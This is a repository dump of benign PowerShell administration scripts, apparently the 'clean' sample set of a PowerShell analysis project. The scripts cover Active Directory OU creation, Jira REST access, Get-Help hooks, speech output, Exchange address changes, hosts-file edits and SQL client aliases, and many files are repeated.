| foreach ($NewOU in $NewOUs){ 11 | New-ADOrganizationalUnit -Name $NewOU.name -Description $NewOU.description -City "Antwerp" -Country "BE" -ManagedBy $NewOU.manager -State "Antwerp" -Path $searchBase -ProtectedFromAccidentalDeletion $Protect 12 | $SubOUPath = "OU=" + $Newou.Name + "," + $searchBase 13 | foreach ($SubOU in $SubOUs){ 14 | New-ADOrganizationalUnit -Name $SubOU -Path $SubOUPath -ProtectedFromAccidentalDeletion $Protect 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/AD_bulk_new_OU_1.ps1: -------------------------------------------------------------------------------- 1 | param( 2 | $searchBase = "OU=Organisation,DC=uza,DC=local", 3 | $NewOUs = @(Import-csv -Path "d:\\projects\\AD\\departments.csv" -Delimiter ";"), 4 | $SubOUs = @("Computers","Users"), 5 | [switch]$ProtectOU 6 | ) 7 | $Protect = $false 8 | If ($ProtectOU){$Protect = $true} 9 | 10 | foreach ($NewOU in $NewOUs){ 11 | New-ADOrganizationalUnit -Name $NewOU.name -Description $NewOU.description -City "Antwerp" -Country "BE" -ManagedBy $NewOU.manager -State "Antwerp" -Path $searchBase -ProtectedFromAccidentalDeletion $Protect 12 | $SubOUPath = "OU=" + $Newou.Name + "," + $searchBase 13 | foreach ($SubOU in $SubOUs){ 14 | New-ADOrganizationalUnit -Name $SubOU -Path $SubOUPath -ProtectedFromAccidentalDeletion $Protect 15 | } 16 | } 17 | 18 | #example of CSV: 19 | # headers => Name;description;manager 20 | # datarow => accounting;ACC;TommyLee 21 | # datarow => human resources;HRM;WendyRatzig 22 | 23 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/AS function.ps1: -------------------------------------------------------------------------------- 1 | #region setup AS function 2 | function new-selectexpression 3 | { 4 | if ($args.count -eq 1) { $theargs = $args[0] } else {$theargs= $args } 5 | if ($theargs.count -gt 1) 6 | { 7 | for($loop=0;$loop -lt ($theargs.count-1);$loop+=2) 8 | { 9 | @{Name=$theargs[$loop];Expression=$theargs[$loop+1]} 10 | } 11 | } 12 | if (!($theargs.count % 2) -eq 0) {@{Name=$input[$input.count-1];Expression= invoke-Expression "{}" } } 13 | } 14 | set-Alias as new-selectexpression 15 | #endregion 16 | #Examples 17 | #Select (as theprocess ,name , 18 | # "CPU" , {$_.privatememorysize/ 1KB} , 19 | # "memory KB" , {$_.privatememorysize/ 1KB} , 20 | # "peak KB", {$_.peakworkingset /1KB} ) -first 2 21 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Access Jira (REST).ps1: -------------------------------------------------------------------------------- 1 | param($Issue, $Credentials = $(Get-Credential), $BaseURI = "https://your.jira.server/jira") 2 | 3 | function ConvertTo-UnsecureString( 4 | [System.Security.SecureString][parameter(mandatory=$true)]$SecurePassword) 5 | { 6 | $unmanagedString = [System.IntPtr]::Zero; 7 | try 8 | { 9 | $unmanagedString = [Runtime.InteropServices.Marshal]::SecureStringToGlobalAllocUnicode($SecurePassword) 10 | return [Runtime.InteropServices.Marshal]::PtrToStringUni($unmanagedString) 11 | } 12 | finally 13 | { 14 | [Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($unmanagedString) 15 | } 16 | } 17 | 18 | function ConvertTo-Base64($string) { 19 | $bytes = [System.Text.Encoding]::UTF8.GetBytes($string); 20 | $encoded = [System.Convert]::ToBase64String($bytes); 21 | 22 | return $encoded; 23 | } 24 | 25 | function ConvertFrom-Base64($string) { 26 | $bytes = [System.Convert]::FromBase64String($string); 27 | $decoded = [System.Text.Encoding]::UTF8.GetString($bytes); 28 | 29 | return $decoded; 30 | } 31 | 32 | function Get-HttpBasicHeader($Credentials, $Headers = @{}) 33 | { 34 | $b64 = ConvertTo-Base64 "$($Credentials.UserName):$(ConvertTo-UnsecureString $Credentials.Password)" 35 | $Headers["Authorization"] = "Basic $b64" 36 | return $Headers 37 | } 38 | 39 | if($Issue) { 40 | $uri = "$BaseURI/rest/api/2/issue/$Issue" 41 | } else { 42 | $uri = "$BaseURI/rest/api/2/mypermissions" 43 | } 44 | 45 | $headers = Get-HttpBasicHeader $Credentials 46 | Invoke-RestMethod -uri $uri -Headers $headers -ContentType "application/json" 47 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Add -__ Get-Help -Full.ps1: -------------------------------------------------------------------------------- 1 | $executionContext.SessionState.InvokeCommand.PostCommandLookupAction = { 2 | param($CommandName, $CommandLookupEventArgs) 3 | 4 | # Only for interactive commands (and that doesn't include "prompt") 5 | # I should exclude out-default so we don't handle it on every pipeline, but ... 6 | if($CommandLookupEventArgs.CommandOrigin -eq "Runspace" -and $CommandName -ne "prompt" ) { 7 | ## Create a new script block that checks for the "-??" argument 8 | ## And if -?? exists, calls Get-Help -Full instead 9 | ## Otherwise calls the expected command 10 | $CommandLookupEventArgs.CommandScriptBlock = { 11 | if($Args.Length -eq 1 -and $Args[0] -eq "-??") { 12 | Get-Help $CommandName -Full 13 | } else { 14 | & $CommandName @args 15 | } 16 | ## Wrap it in a closure because we need $CommandName 17 | }.GetNewClosure() 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Add -__ Get-Help -Full_1.ps1: -------------------------------------------------------------------------------- 1 | $executionContext.SessionState.InvokeCommand.PostCommandLookupAction = { 2 | param($CommandName, $CommandLookupEventArgs) 3 | 4 | # Only for interactive commands (and that doesn't include "prompt") 5 | # I should exclude out-default so we don't handle it on every pipeline, but ... 6 | if($CommandLookupEventArgs.CommandOrigin -eq "Runspace" -and $CommandName -ne "prompt" ) { 7 | ## Create a new script block that checks for the "-??" argument 8 | ## And if -?? exists, calls Get-Help -Full instead 9 | ## Otherwise calls the expected command 10 | $CommandLookupEventArgs.CommandScriptBlock = { 11 | if($Args.Length -eq 1 -and $Args[0] -eq "-??") { 12 | Get-Help $CommandName -Full 13 | } else { 14 | & $CommandName @args 15 | } 16 | ## Wrap it in a closure because we need $CommandName 17 | }.GetNewClosure() 18 | } 19 | } 20 | 21 | $executionContext.SessionState.InvokeCommand.PreCommandLookupAction = { 22 | param($CommandName, $CommandLookupEventArgs) 23 | 24 | if($CommandName.StartsWith("?")) { 25 | $RealCommandName = $CommandName.TrimStart("?") 26 | $CommandLookupEventArgs.CommandScriptBlock = { 27 | Get-Help $RealCommandName -Full 28 | ## Wrap it in a closure because we need $CommandName 29 | }.GetNewClosure() 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Add SSL Cert to IIS.ps1: -------------------------------------------------------------------------------- 1 | function Add-SSLCertificate{ 2 | param([string]$pfxPath,[string]$pfxPassword,[string]$hostHeader,[string]$siteName) 3 | 4 | $certMgr = New-Object -ComObject IIS.CertObj -ErrorAction SilentlyContinue 5 | $certMgr.ImportToCertStore($pfxPath,$pfxPassword,$true,$true) 6 | 7 | Import-Module WebAdministration; 8 | New-WebBinding -Name $siteName -Port 443 -Protocol https -HostHeader $hostHeader 9 | } 10 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Add Voice to Powershell.ps1: -------------------------------------------------------------------------------- 1 | ### 2 | # Description: Add Voice to Powershell 3 | # Version: 1.1 (11 Nov 2008) 4 | # Mike Hays / www.mike-hays.net / blog.mike-hays.net 5 | # Virtualization, Powershell, and more... 6 | ### 7 | 8 | # This is the actual speaking part. I cheat by adding spaces 9 | # (This makes the word sound right). 10 | $spokenText = "Super ca li fragilistic expi alidocious" 11 | 12 | # Create an object that represents the COM SAPI.SpVoice 13 | $voice = New-Object -com SAPI.SpVoice 14 | 15 | # Get the list of available voices 16 | $voiceList = $voice.GetVoices() 17 | 18 | # This script prefers using LH Michelle as a stand-in for Mary Poppins, 19 | # but I can't be sure that she exists on all computers, so I check for that. 20 | # She comes with some installations of Microsoft Word 2003. 21 | $voiceDescList = @() 22 | for ($i=0; $i -lt $voiceList.Count; $i++) 23 | { 24 | $voiceDescList += $voiceList.Item($i).GetDescription() 25 | } 26 | 27 | if ($voiceDescList -contains "LH Michelle") 28 | { 29 | $voiceMember = "Name=LH Michelle" 30 | } 31 | else 32 | { 33 | # This is the default voice if LH Michelle doesn't exist. 34 | # This will probably be Microsoft Sam 35 | $voiceMember = "Name=" + $voiceDescList[0] 36 | } 37 | $voiceToUse = $voice.GetVoices($voiceMember) 38 | 39 | # This sets the voice property on the COM object 40 | $voice.Voice = $voiceToUse.Item(0) 41 | 42 | # This actually does the speaking. 43 | [void] $voice.Speak($spokenText) 44 | 45 | # She's no Julie Andrews, but she'll say what you want. 46 | # END 47 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Add Voice to Powershell_1.ps1: -------------------------------------------------------------------------------- 1 | ### 2 | # Description: Add Voice to Powershell 3 | # Version: 1.1 (11 Nov 2008) 4 | # Mike Hays / www.mike-hays.net / blog.mike-hays.net 5 | # Virtualization, Powershell, and more... 6 | ### 7 | 8 | # This is the actual speaking part. I cheat by adding spaces 9 | # (This makes the word sound right). 10 | $spokenText = "Super ca li fragilistic expi alidocious" 11 | 12 | # Create an object that represents the COM SAPI.SpVoice 13 | $voice = New-Object -com SAPI.SpVoice 14 | 15 | # Get the list of available voices 16 | $voiceList = $voice.GetVoices() 17 | 18 | # This script prefers using LH Michelle as a stand-in for Mary Poppins, 19 | # but I can't be sure that she exists on all computers, so I check for that. 20 | # She comes with some installations of Microsoft Word 2003. 21 | $voiceDescList = @() 22 | for ($i=0; $i -lt $voiceList.Count; $i++) 23 | { 24 | $voiceDescList += $voiceList.Item($i).GetDescription() 25 | } 26 | 27 | if ($voiceDescList -contains "LH Michelle") 28 | { 29 | $voiceMember = "Name=LH Michelle" 30 | } 31 | else 32 | { 33 | # This is the default voice if LH Michelle doesn't exist. 34 | # This will probably be Microsoft Sam 35 | $voiceMember = "Name=" + $voiceDescList[0] 36 | } 37 | $voiceToUse = $voice.GetVoices($voiceMember) 38 | 39 | # This sets the voice property on the COM object 40 | $voice.Voice = $voiceToUse.Item(0) 41 | 42 | # This actually does the speaking. 43 | [void] $voice.Speak($spokenText) 44 | 45 | # She's no Julie Andrews, but she'll say what you want. 46 | # END 47 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Add Voice to Powershell_2.ps1: -------------------------------------------------------------------------------- 1 | ### 2 | # Description: Add Voice to Powershell 3 | # Version: 1.1 (11 Nov 2008) 4 | # Mike Hays / www.mike-hays.net / blog.mike-hays.net 5 | # Virtualization, Powershell, and more... 6 | ### 7 | 8 | # This is the actual speaking part. I cheat by adding spaces 9 | # (This makes the word sound right). 10 | $spokenText = "Super ca li fragilistic expi alidocious" 11 | 12 | # Create an object that represents the COM SAPI.SpVoice 13 | $voice = New-Object -com SAPI.SpVoice 14 | 15 | # Get the list of available voices 16 | $voiceList = $voice.GetVoices() 17 | 18 | # This script prefers using LH Michelle as a stand-in for Mary Poppins, 19 | # but I can't be sure that she exists on all computers, so I check for that. 20 | # She comes with some installations of Microsoft Word 2003. 21 | $voiceDescList = @() 22 | for ($i=0; $i -lt $voiceList.Count; $i++) 23 | { 24 | $voiceDescList += $voiceList.Item($i).GetDescription() 25 | } 26 | 27 | if ($voiceDescList -contains "LH Michelle") 28 | { 29 | $voiceMember = "Name=LH Michelle" 30 | } 31 | else 32 | { 33 | # This is the default voice if LH Michelle doesn't exist. 34 | # This will probably be Microsoft Sam 35 | $voiceMember = "Name=" + $voiceDescList[0] 36 | } 37 | $voiceToUse = $voice.GetVoices($voiceMember) 38 | 39 | # This sets the voice property on the COM object 40 | $voice.Voice = $voiceToUse.Item(0) 41 | 42 | # This actually does the speaking. 43 | [void] $voice.Speak($spokenText) 44 | 45 | # She's no Julie Andrews, but she'll say what you want. 46 | # END 47 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Add _ Get-Help -Full.ps1: -------------------------------------------------------------------------------- 1 | $executionContext.SessionState.InvokeCommand.PreCommandLookupAction = { 2 | param($CommandName, $CommandLookupEventArgs) 3 | 4 | if($CommandName.StartsWith("?")) { 5 | $RealCommandName = $CommandName.TrimStart("?") 6 | $CommandLookupEventArgs.CommandScriptBlock = { 7 | Get-Help $RealCommandName -Full 8 | ## Wrap it in a closure because we need $CommandName 9 | }.GetNewClosure() 10 | } 11 | } 12 | 13 | 14 | Write-Warning "DO NOT USE THIS POSTCOMMANDLOOKUPACTION EXCEPT FOR DEMONSTRATION" 15 | 16 | $executionContext.SessionState.InvokeCommand.PostCommandLookupAction = { 17 | param($CommandName, $CommandLookupEventArgs) 18 | 19 | # Only for interactive commands (and that doesn't include "prompt") 20 | # I should exclude out-default so we don't handle it on every pipeline, but ... 21 | if($CommandLookupEventArgs.CommandOrigin -eq "Runspace" -and $CommandName -ne "prompt" ) { 22 | ## Create a new script block that checks for the "-??" argument 23 | ## And if -?? exists, calls Get-Help -Full instead 24 | ## Otherwise calls the expected command 25 | $CommandLookupEventArgs.CommandScriptBlock = { 26 | if($Args.Length -eq 1 -and $Args[0] -eq "-??") { 27 | Get-Help $CommandName -Full 28 | } else { 29 | & $CommandName @args 30 | } 31 | ## Wrap it in a closure because we need $CommandName 32 | }.GetNewClosure() 33 | } 34 | } 35 | 36 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Add _ Get-Help -Full_1.ps1: -------------------------------------------------------------------------------- 1 | $executionContext.SessionState.InvokeCommand.PreCommandLookupAction = { 2 | param($CommandName, $CommandLookupEventArgs) 3 | 4 | if($CommandName.StartsWith("?")) { 5 | $RealCommandName = $CommandName.TrimStart("?") 6 | $CommandLookupEventArgs.CommandScriptBlock = { 7 | Get-Help $RealCommandName -Full 8 | ## Wrap it in a closure because we need $CommandName 9 | }.GetNewClosure() 10 | } 11 | } 12 | 13 | 14 | Write-Warning "DO NOT USE THIS POSTCOMMANDLOOKUPACTION EXCEPT FOR DEMONSTRATION" 15 | 16 | $executionContext.SessionState.InvokeCommand.PostCommandLookupAction = { 17 | param($CommandName, $CommandLookupEventArgs) 18 | 19 | # Only for interactive commands (and that doesn't include "prompt") 20 | # I should exclude out-default so we don't handle it on every pipeline, but ... 21 | if($CommandLookupEventArgs.CommandOrigin -eq "Runspace" -and $CommandName -ne "prompt" ) { 22 | ## Create a new script block that checks for the "-??" argument 23 | ## And if -?? exists, calls Get-Help -Full instead 24 | ## Otherwise calls the expected command 25 | $CommandLookupEventArgs.CommandScriptBlock = { 26 | if($Args.Length -eq 1 -and $Args[0] -eq "-??") { 27 | Get-Help $CommandName -Full 28 | } else { 29 | & $CommandName @args 30 | } 31 | ## Wrap it in a closure because we need $CommandName 32 | }.GetNewClosure() 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Add new smtp_set prmary.ps1: -------------------------------------------------------------------------------- 1 | #alias,addnewemailaddress 2 | 3 | import-csv .\\source.csv | foreach { 4 | $user = Get-Mailbox $_.alias 5 | $user.emailAddresses+= $_.addnewemailaddress 6 | $user.primarysmtpaddress = $_.addnewemailaddress 7 | Set-Mailbox $user -emailAddresses $user.emailAddresses 8 | set-Mailbox $user -PrimarySmtpAddress $user.primarysmtpaddress 9 | } 10 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Add new smtp_set prmary_1.ps1: -------------------------------------------------------------------------------- 1 | #alias,addnewemailaddress 2 | 3 | import-csv .\\source.csv | foreach { 4 | $user = Get-Mailbox $_.alias 5 | $user.emailAddresses+= $_.addnewemailaddress 6 | $user.primarysmtpaddress = $_.addnewemailaddress 7 | Set-Mailbox $user -emailAddresses $user.emailAddresses 8 | set-Mailbox $user -PrimarySmtpAddress $user.primarysmtpaddress 9 | } 10 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Add new smtp_set prmary_2.ps1: -------------------------------------------------------------------------------- 1 | #alias,addnewemailaddress 2 | 3 | import-csv .\\source.csv | foreach { 4 | $user = Get-Mailbox $_.alias 5 | $user.emailAddresses+= $_.addnewemailaddress 6 | $user.primarysmtpaddress = $_.addnewemailaddress 7 | Set-Mailbox $user -emailAddresses $user.emailAddresses 8 | set-Mailbox $user -PrimarySmtpAddress $user.primarysmtpaddress 9 | } 10 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Add new smtp_set prmary_3.ps1: -------------------------------------------------------------------------------- 1 | #alias,addnewemailaddress 2 | 3 | import-csv .\\source.csv | foreach { 4 | $user = Get-Mailbox $_.alias 5 | $user.emailAddresses+= $_.addnewemailaddress 6 | $user.primarysmtpaddress = $_.addnewemailaddress 7 | Set-Mailbox $user -emailAddresses $user.emailAddresses 8 | set-Mailbox $user -PrimarySmtpAddress $user.primarysmtpaddress 9 | } 10 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Add new smtp_set prmary_4.ps1: -------------------------------------------------------------------------------- 1 | #alias,addnewemailaddress 2 | 3 | import-csv .\\source.csv | foreach { 4 | $user = Get-Mailbox $_.alias 5 | $user.emailAddresses+= $_.addnewemailaddress 6 | $user.primarysmtpaddress = $_.addnewemailaddress 7 | Set-Mailbox $user -emailAddresses $user.emailAddresses 8 | set-Mailbox $user -PrimarySmtpAddress $user.primarysmtpaddress 9 | } 10 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Add-ExcelAddins.ps1: -------------------------------------------------------------------------------- 1 | ###########################################################################" 2 | # 3 | # NAME: Add-ExcelAddins.ps1 4 | # 5 | # AUTHOR: Jan Egil Ring 6 | # EMAIL: jan.egil.ring@powershell.no 7 | # 8 | # COMMENT: This script will check if the specified Microsoft Office Excel Addins are loaded, and if not load them. 9 | # Tested with PowerShell v2 and Microsoft Office Excel 2007, although it should work fine with PowerShell v1 and older 10 | # versions of Microsoft Office Excel. 11 | # 12 | # You have a royalty-free right to use, modify, reproduce, and 13 | # distribute this script file in any way you find useful, provided that 14 | # you agree that the creator, owner above has no warranty, obligations, 15 | # or liability for such use. 16 | # 17 | # VERSION HISTORY: 18 | # 1.0 01.11.2009 - Initial release 19 | # 20 | ###########################################################################" 21 | 22 | $Addinfilename = 'Addin_01.xla' 23 | $Addinfilepath = 'C:\\MyAddins\\' 24 | $Excel = New-Object -ComObject excel.application 25 | $ExcelWorkbook = $excel.Workbooks.Add() 26 | if (($ExcelWorkbook.Application.AddIns | Where-Object {$_.name -eq $Addinfilename}) -eq $null) { 27 | $ExcelAddin = $ExcelWorkbook.Application.AddIns.Add("$Addinfilepath$Addinfilename", $True) 28 | $ExcelAddin.Installed = "True" 29 | Write-Host "$Addinfilename added"} 30 | else 31 | {Write-Host "$Addinfilename already added"} 32 | $Excel.Quit() 33 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Add-RelativePathCapture..ps1: -------------------------------------------------------------------------------- 1 | ##############################################################################\n##\n## Add-RelativePathCapture\n##\n## From Windows PowerShell Cookbook (O'Reilly)\n## by Lee Holmes (http://www.leeholmes.com/guide)\n##\n##############################################################################\n\n<#\n\n.SYNOPSIS\n\nAdds a new Out-Default command wrapper that captures relative path\nnavigation without having to explicitly call 'Set-Location'\n\n.EXAMPLE\n\nPS C:\\Users\\Lee\\Documents>..\nPS C:\\Users\\Lee>...\nPS C:\\>\n\n.NOTES\n\nThis commands builds on New-CommandWrapper, also included in the Windows\nPowerShell Cookbook.\n\n#>\n\nSet-StrictMode -Version Latest\n\nNew-CommandWrapper Out-Default `\n -Process {\n if(($_ -is [System.Management.Automation.ErrorRecord]) -and\n ($_.FullyQualifiedErrorId -eq "CommandNotFoundException"))\n {\n ## Intercept all CommandNotFound exceptions, where the actual\n ## command consisted solely of dots.\n $command = $_.TargetObject\n if($command -match '^(\\.)+$')\n {\n ## Count the number of dots, and go that many levels (minus\n ## one) up the directory hierarchy.\n $newLocation = "..\\" * ($command.Length - 1)\n if($newLocation) { Set-Location $newLocation }\n\n ## Handle the error\n $error.RemoveAt(0)\n $_ = $null\n }\n }\n } 2 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Add-SVNFile.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/Add-SVNFile.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Add-SqlClientAlias.ps1: -------------------------------------------------------------------------------- 1 | ####################### 2 | <# 3 | .SYNOPSIS 4 | Adds a SQL Server Client Alias by setting registry key. 5 | .DESCRIPTION 6 | Provides same functionality as cliconfg.exe GUI. Although there is a WMI provider to add client network aliases, the differences between SQL version make it diffult to use. This method creates the registry key. 7 | .EXAMPLE 8 | ./add-sqlclientalias.ps1 -ServerAlias Z001\\sql2 -ServerName Z001XA\\sql2 -Protocol TCP -Port 5658 9 | This command add a SQL client alias 10 | .NOTES 11 | Version History 12 | v1.0 - Chad Miller - 9/24/2012 - Initial release 13 | .LINK 14 | http://social.msdn.microsoft.com/Forums/sa/sqldataaccess/thread/39fe3b15-96a1-454f-b3bd-da6b1f74700a 15 | #> 16 | param( 17 | [Parameter(Position=0, Mandatory=$true)] 18 | [string] 19 | $ServerAlias, 20 | [Parameter(Position=1, Mandatory=$true)] 21 | [string] 22 | $ServerName, 23 | [ValidateSet("NP", "TCP")] 24 | [Parameter(Position=2, Mandatory=$true)] 25 | [string] 26 | $Protocol="TCP", 27 | [Parameter(Position=3, Mandatory=$false)] 28 | [int] 29 | $PortNumber 30 | ) 31 | 32 | if ($Protocol="TCP") { 33 | if ($PortNumber) { 34 | $value = "DBMSSOCN,{0},{1}" -f $ServerName,$PortNumber 35 | } 36 | else { 37 | $value = "DBMSSOCN,{0}" -f $ServerName 38 | } 39 | } 40 | else { 41 | $value = "DBNMPNTW,\\\\{0}\\pipe\\sql\\query" -f $ServerName 42 | } 43 | 44 | Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\MSSQLServer\\Client\\ConnectTo' -Name $ServerAlias -Value $value 45 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Add-UniqueEndings.ps1: -------------------------------------------------------------------------------- 1 | ## Add-UniqueEndings 2 | ## Takes an array of strings and forces them to be unique by adding _ tails to duplicates. 3 | #################################################################################################### 4 | ## Usage: 5 | ## $$: (Add-UniqueEndings "one","two","three","one","two","one","one_5").ToString() 6 | ## one, two, three, one_1, two_1, one_2, one_3 7 | ## 8 | ## $$: ("one","two","three","one","two","one","one_5" | Add-UniqueEndings).ToString() 9 | ## one, two, three, one_1, two_1, one_2, one_3 10 | #################################################################################################### 11 | ## History: 12 | ## v1 - adds tails _ until the string is unique 13 | ## v2 - adds number tails _1 instead 14 | ## v2.5 - works with the array passed as an argument (default is on the pipeline) 15 | #################################################################################################### 16 | function Add-UniqueEndings { 17 | BEGIN { 18 | if($args.Count) { 19 | $args[0] | Add-UniqueEndings 20 | } else { 21 | $uniques = @{} 22 | $collect = @() 23 | } 24 | } 25 | PROCESS { 26 | if($_){ 27 | $item = "$_" -replace "(.*)_\\d+",'$1' 28 | $collect += $item 29 | $uniques.$item += 1 30 | } 31 | } 32 | END { 33 | if(!$args.Count -and $collect.Count) { 34 | [Array]::Reverse($collect) 35 | $collect = $collect | % { if($uniques.$_-- -eq 1){ $_ } else { "$_$('_')$($uniques.$_)" } } 36 | [Array]::Reverse($collect) 37 | $collect 38 | } 39 | } 40 | } 41 | 42 | 43 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/AddTo-HostsFile_1.ps1: -------------------------------------------------------------------------------- 1 | function AddTo-HostsFile{ 2 | 3 | <# 4 | .DESCRIPTION 5 | This function checks to see if an entry exists in the hosts file. 6 | If it does not, it attempts to add it and verifies the entry. 7 | 8 | .EXAMPLE 9 | Networkign.AddTo-Hosts -IPAddress 192.168.0.1 -HostName MyMachine 10 | 11 | .EXTERNALHELP 12 | None. 13 | 14 | .FORWARDHELPTARGETNAME 15 | None. 16 | 17 | .INPUTS 18 | System.String. 19 | 20 | .LINK 21 | None. 22 | 23 | .NOTES 24 | None. 25 | 26 | .OUTPUTS 27 | System.String. 28 | 29 | .PARAMETER IPAddress 30 | A string representing an IP address. 31 | 32 | .PARAMETER HostName 33 | A string representing a host name. 34 | 35 | .SYNOPSIS 36 | Add entries to the hosts file. 37 | #> 38 | 39 | param( 40 | [parameter(Mandatory=$true,position=0)] 41 | [string] 42 | $IPAddress, 43 | [parameter(Mandatory=$true,position=1)] 44 | [string] 45 | $HostName 46 | ) 47 | 48 | $HostsLocation = "$env:windir\\System32\\drivers\\etc\\hosts"; 49 | $NewHostEntry = "`t$IPAddress`t$HostName"; 50 | 51 | if((gc $HostsLocation) -contains $NewHostEntry) 52 | { 53 | Write-Host "$(Time-Stamp): The hosts file already contains the entry: $NewHostEntry. File not updated."; 54 | } 55 | else 56 | { 57 | Write-Host "$(Time-Stamp): The hosts file does not contain the entry: $NewHostEntry. Attempting to update."; 58 | Add-Content -Path $HostsLocation -Value $NewHostEntry; 59 | } 60 | 61 | # Validate entry 62 | if((gc $HostsLocation) -contains $NewHostEntry) 63 | { 64 | Write-Host "$(Time-Stamp): New entry, $NewHostEntry, added to $HostsLocation."; 65 | } 66 | else 67 | { 68 | Write-Host "$(Time-Stamp): The new entry, $NewHostEntry, was not added to $HostsLocation."; 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/AddTo-HostsFile_2.ps1: -------------------------------------------------------------------------------- 1 | function AddTo-HostsFile{ 2 | 3 | <# 4 | .DESCRIPTION 5 | This function checks to see if an entry exists in the hosts file. 6 | If it does not, it attempts to add it and verifies the entry. 7 | 8 | .EXAMPLE 9 | Networkign.AddTo-Hosts -IPAddress 192.168.0.1 -HostName MyMachine 10 | 11 | .EXTERNALHELP 12 | None. 13 | 14 | .FORWARDHELPTARGETNAME 15 | None. 16 | 17 | .INPUTS 18 | System.String. 19 | 20 | .LINK 21 | None. 22 | 23 | .NOTES 24 | None. 25 | 26 | .OUTPUTS 27 | System.String. 28 | 29 | .PARAMETER IPAddress 30 | A string representing an IP address. 31 | 32 | .PARAMETER HostName 33 | A string representing a host name. 34 | 35 | .SYNOPSIS 36 | Add entries to the hosts file. 37 | #> 38 | 39 | param( 40 | [parameter(Mandatory=$true,position=0)] 41 | [string] 42 | $IPAddress, 43 | [parameter(Mandatory=$true,position=1)] 44 | [string] 45 | $HostName 46 | ) 47 | 48 | $HostsLocation = "$env:windir\\System32\\drivers\\etc\\hosts"; 49 | $NewHostEntry = "`t$IPAddress`t$HostName"; 50 | 51 | if((gc $HostsLocation) -contains $NewHostEntry) 52 | { 53 | Write-Host "$(Time-Stamp): The hosts file already contains the entry: $NewHostEntry. File not updated."; 54 | } 55 | else 56 | { 57 | Write-Host "$(Time-Stamp): The hosts file does not contain the entry: $NewHostEntry. Attempting to update."; 58 | Add-Content -Path $HostsLocation -Value $NewHostEntry; 59 | } 60 | 61 | # Validate entry 62 | if((gc $HostsLocation) -contains $NewHostEntry) 63 | { 64 | Write-Host "$(Time-Stamp): New entry, $NewHostEntry, added to $HostsLocation."; 65 | } 66 | else 67 | { 68 | Write-Host "$(Time-Stamp): The new entry, $NewHostEntry, was not added to $HostsLocation."; 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Advanced search.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Using examples: 3 | Example 1: 4 | Get-ItemPlace *.log -h 5 | It will search all (including that have "Hidden" attribute) *.log files on local drives. 6 | 7 | Example 2: 8 | Get-ItemPlace sysinternals hkcu:\\ 9 | This command invoke search Sysinyetrnals key into HKEY_CURRENT_USER. 10 | #> 11 | 12 | function Get-ItemPlace { 13 | param ([string]$wildcard, ` 14 | [array]$path = $(gdr | % {$_.Root} | ? {$_ -like '*:\\' -and $_ -ne 'A:\\'}), ` 15 | [switch]$hidden) 16 | 17 | if ($path -match "(HKCU|HKLM)\\:\\\\") { 18 | dir $path -r -i $wildcard -ea 0 | % {$_.Name} 19 | } 20 | else { 21 | dir $path -r -i $wildcard -fo:$hidden -ea 0 | % {$_.FullName} 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Aero Glass PowerShell.ps1: -------------------------------------------------------------------------------- 1 | #requires -version 2 2 | param([switch]$Disable) 3 | 4 | add-type -namespace Hacks -name Aero -memberdefinition @" 5 | 6 | [StructLayout(LayoutKind.Sequential)] 7 | public struct MARGINS 8 | { 9 | public int left; 10 | public int right; 11 | public int top; 12 | public int bottom; 13 | } 14 | 15 | [DllImport("dwmapi.dll", PreserveSig = false)] 16 | public static extern void DwmExtendFrameIntoClientArea(IntPtr hwnd, ref MARGINS margins); 17 | 18 | [DllImport("dwmapi.dll", PreserveSig = false)] 19 | public static extern bool DwmIsCompositionEnabled(); 20 | "@ 21 | 22 | 23 | if (([Environment]::OSVersion.Version.Major -gt 5) -and 24 | [hacks.aero]::DwmIsCompositionEnabled()) { 25 | 26 | $hwnd = (get-process -id $pid).mainwindowhandle 27 | 28 | $margin = new-object 'hacks.aero+margins' 29 | 30 | $host.ui.RawUI.BackgroundColor = "black" 31 | $host.ui.rawui.foregroundcolor = "white" 32 | 33 | if ($Disable) { 34 | 35 | $margin.top = 0 36 | $margin.left = 0 37 | 38 | 39 | } else { 40 | 41 | $margin.top = -1 42 | $margin.left = -1 43 | 44 | } 45 | 46 | [hacks.aero]::DwmExtendFrameIntoClientArea($hwnd, [ref]$margin) 47 | 48 | } else { 49 | 50 | write-warning "Aero is either not available or not enabled on this workstation." 51 | 52 | } 53 | -------------------------------------------------------------------------------- 